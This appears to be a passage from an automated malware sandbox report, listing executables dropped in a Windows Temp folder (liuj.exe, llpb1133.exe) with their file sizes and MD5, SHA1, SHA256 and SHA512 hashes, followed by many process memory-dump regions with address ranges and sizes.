                                  6d06e5baeab962d85b306c72f39a82e40e22eb889867c11c406a069011155cb8901bf021f48efc98fd95340be7e9609fc11f4e24fc322dbf721e610120771534

                                • \Users\Admin\AppData\Local\Temp\liuj.exe

                                  Filesize

                                  160KB

                                  MD5

                                  b9363486500e209c05f97330226bbf8a

                                  SHA1

                                  bfe2d0072d09b30ec66dee072dde4e7af26e4633

                                  SHA256

                                  01138f2318e59e1fe59f1eb7de3859af815ebf9a59aae1084c1a97a99319ee35

                                  SHA512

                                  6d06e5baeab962d85b306c72f39a82e40e22eb889867c11c406a069011155cb8901bf021f48efc98fd95340be7e9609fc11f4e24fc322dbf721e610120771534

                                • \Users\Admin\AppData\Local\Temp\liuj.exe

                                  Filesize

                                  160KB

                                  MD5

                                  b9363486500e209c05f97330226bbf8a

                                  SHA1

                                  bfe2d0072d09b30ec66dee072dde4e7af26e4633

                                  SHA256

                                  01138f2318e59e1fe59f1eb7de3859af815ebf9a59aae1084c1a97a99319ee35

                                  SHA512

                                  6d06e5baeab962d85b306c72f39a82e40e22eb889867c11c406a069011155cb8901bf021f48efc98fd95340be7e9609fc11f4e24fc322dbf721e610120771534

                                • \Users\Admin\AppData\Local\Temp\llpb1133.exe

                                  Filesize

                                  3.5MB

                                  MD5

                                  81a0ecc23b44da5116d397c0a3104a05

                                  SHA1

                                  01efd55a04010ec4e7197bcac7ec351bb8e5bf07

                                  SHA256

                                  3f59d2cf23b45b7f56563e85bf818f827f2607d12661fb438bcf031550ec0ec0

                                  SHA512

                                  cf0c87b4b5101898a48ab312cd1436e2738762ee74d1d77a29635053a373d5dff237da84a17dfe7897c7e99b919325ff8c47238a2fd06dfdb04f3d18f4a97185

                                • \Users\Admin\AppData\Local\Temp\llpb1133.exe

                                  Filesize

                                  3.5MB

                                  MD5

                                  81a0ecc23b44da5116d397c0a3104a05

                                  SHA1

                                  01efd55a04010ec4e7197bcac7ec351bb8e5bf07

                                  SHA256

                                  3f59d2cf23b45b7f56563e85bf818f827f2607d12661fb438bcf031550ec0ec0

                                  SHA512

                                  cf0c87b4b5101898a48ab312cd1436e2738762ee74d1d77a29635053a373d5dff237da84a17dfe7897c7e99b919325ff8c47238a2fd06dfdb04f3d18f4a97185

                                • \Users\Admin\AppData\Local\Temp\llpb1133.exe

                                  Filesize

                                  3.5MB

                                  MD5

                                  81a0ecc23b44da5116d397c0a3104a05

                                  SHA1

                                  01efd55a04010ec4e7197bcac7ec351bb8e5bf07

                                  SHA256

                                  3f59d2cf23b45b7f56563e85bf818f827f2607d12661fb438bcf031550ec0ec0

                                  SHA512

                                  cf0c87b4b5101898a48ab312cd1436e2738762ee74d1d77a29635053a373d5dff237da84a17dfe7897c7e99b919325ff8c47238a2fd06dfdb04f3d18f4a97185

                                • \Users\Admin\AppData\Local\Temp\llpb1133.exe

                                  Filesize

                                  3.5MB

                                  MD5

                                  81a0ecc23b44da5116d397c0a3104a05

                                  SHA1

                                  01efd55a04010ec4e7197bcac7ec351bb8e5bf07

                                  SHA256

                                  3f59d2cf23b45b7f56563e85bf818f827f2607d12661fb438bcf031550ec0ec0

                                  SHA512

                                  cf0c87b4b5101898a48ab312cd1436e2738762ee74d1d77a29635053a373d5dff237da84a17dfe7897c7e99b919325ff8c47238a2fd06dfdb04f3d18f4a97185

                                • memory/280-173-0x00000000009C4000-0x00000000009C7000-memory.dmp

                                  Filesize

                                  12KB

                                • memory/280-174-0x00000000009CB000-0x00000000009EA000-memory.dmp

                                  Filesize

                                  124KB

                                • memory/280-160-0x000007FEEE900000-0x000007FEEF45D000-memory.dmp

                                  Filesize

                                  11.4MB

                                • memory/280-162-0x00000000009C4000-0x00000000009C7000-memory.dmp

                                  Filesize

                                  12KB

                                • memory/280-159-0x000007FEF2FF0000-0x000007FEF3A13000-memory.dmp

                                  Filesize

                                  10.1MB

                                • memory/700-109-0x000007FEF3810000-0x000007FEF4233000-memory.dmp

                                  Filesize

                                  10.1MB

                                • memory/700-130-0x000000000269B000-0x00000000026BA000-memory.dmp

                                  Filesize

                                  124KB

                                • memory/700-129-0x0000000002694000-0x0000000002697000-memory.dmp

                                  Filesize

                                  12KB

                                • memory/700-115-0x0000000002694000-0x0000000002697000-memory.dmp

                                  Filesize

                                  12KB

                                • memory/700-118-0x000000000269B000-0x00000000026BA000-memory.dmp

                                  Filesize

                                  124KB

                                • memory/700-113-0x000007FEF2BF0000-0x000007FEF374D000-memory.dmp

                                  Filesize

                                  11.4MB

                                • memory/872-93-0x0000000001650000-0x00000000016C2000-memory.dmp

                                  Filesize

                                  456KB

                                • memory/872-95-0x0000000000880000-0x00000000008CD000-memory.dmp

                                  Filesize

                                  308KB

                                • memory/1288-195-0x0000000140000000-0x00000001407F4000-memory.dmp

                                  Filesize

                                  8.0MB

                                • memory/1288-194-0x00000000000B0000-0x00000000000D0000-memory.dmp

                                  Filesize

                                  128KB

                                • memory/1364-55-0x0000000075701000-0x0000000075703000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1364-54-0x0000000000F30000-0x0000000001694000-memory.dmp

                                  Filesize

                                  7.4MB

                                • memory/1376-135-0x000007FEF3880000-0x000007FEF42A3000-memory.dmp

                                  Filesize

                                  10.1MB

                                • memory/1376-138-0x00000000026D4000-0x00000000026D7000-memory.dmp

                                  Filesize

                                  12KB

                                • memory/1376-136-0x000007FEF2C60000-0x000007FEF37BD000-memory.dmp

                                  Filesize

                                  11.4MB

                                • memory/1376-139-0x00000000026DB000-0x00000000026FA000-memory.dmp

                                  Filesize

                                  124KB

                                • memory/1596-98-0x000007FEF3880000-0x000007FEF42A3000-memory.dmp

                                  Filesize

                                  10.1MB

                                • memory/1596-97-0x000007FEFB6D1000-0x000007FEFB6D3000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1596-99-0x000007FEF2C60000-0x000007FEF37BD000-memory.dmp

                                  Filesize

                                  11.4MB

                                • memory/1596-102-0x000000000249B000-0x00000000024BA000-memory.dmp

                                  Filesize

                                  124KB

                                • memory/1596-100-0x0000000002494000-0x0000000002497000-memory.dmp

                                  Filesize

                                  12KB

                                • memory/1596-101-0x0000000002494000-0x0000000002497000-memory.dmp

                                  Filesize

                                  12KB

                                • memory/1628-63-0x0000000140000000-0x0000000140620000-memory.dmp

                                  Filesize

                                  6.1MB

                                • memory/1876-124-0x0000000000490000-0x00000000004AB000-memory.dmp

                                  Filesize

                                  108KB

                                • memory/1876-125-0x0000000003080000-0x000000000318A000-memory.dmp

                                  Filesize

                                  1.0MB

                                • memory/1876-126-0x00000000004B0000-0x00000000004D0000-memory.dmp

                                  Filesize

                                  128KB

                                • memory/1876-127-0x00000000004D0000-0x00000000004EB000-memory.dmp

                                  Filesize

                                  108KB

                                • memory/1876-96-0x0000000000500000-0x0000000000572000-memory.dmp

                                  Filesize

                                  456KB

                                • memory/1876-94-0x0000000000500000-0x0000000000572000-memory.dmp

                                  Filesize

                                  456KB

                                • memory/1876-92-0x0000000000060000-0x00000000000AD000-memory.dmp

                                  Filesize

                                  308KB

                                • memory/1876-87-0x0000000000060000-0x00000000000AD000-memory.dmp

                                  Filesize

                                  308KB

                                • memory/1876-148-0x00000000004B0000-0x00000000004D0000-memory.dmp

                                  Filesize

                                  128KB

                                • memory/1876-147-0x0000000003080000-0x000000000318A000-memory.dmp

                                  Filesize

                                  1.0MB

                                • memory/1876-146-0x0000000000490000-0x00000000004AB000-memory.dmp

                                  Filesize

                                  108KB

                                • memory/1960-151-0x000007FEF2E30000-0x000007FEF398D000-memory.dmp

                                  Filesize

                                  11.4MB

                                • memory/1960-153-0x0000000000D6B000-0x0000000000D8A000-memory.dmp

                                  Filesize

                                  124KB

                                • memory/1960-152-0x0000000000D64000-0x0000000000D67000-memory.dmp

                                  Filesize

                                  12KB

                                • memory/1960-150-0x000007FEF3990000-0x000007FEF43B3000-memory.dmp

                                  Filesize

                                  10.1MB

                                • memory/2024-90-0x0000000001D10000-0x0000000001E11000-memory.dmp

                                  Filesize

                                  1.0MB

                                • memory/2024-91-0x0000000001ED0000-0x0000000001F2E000-memory.dmp

                                  Filesize

                                  376KB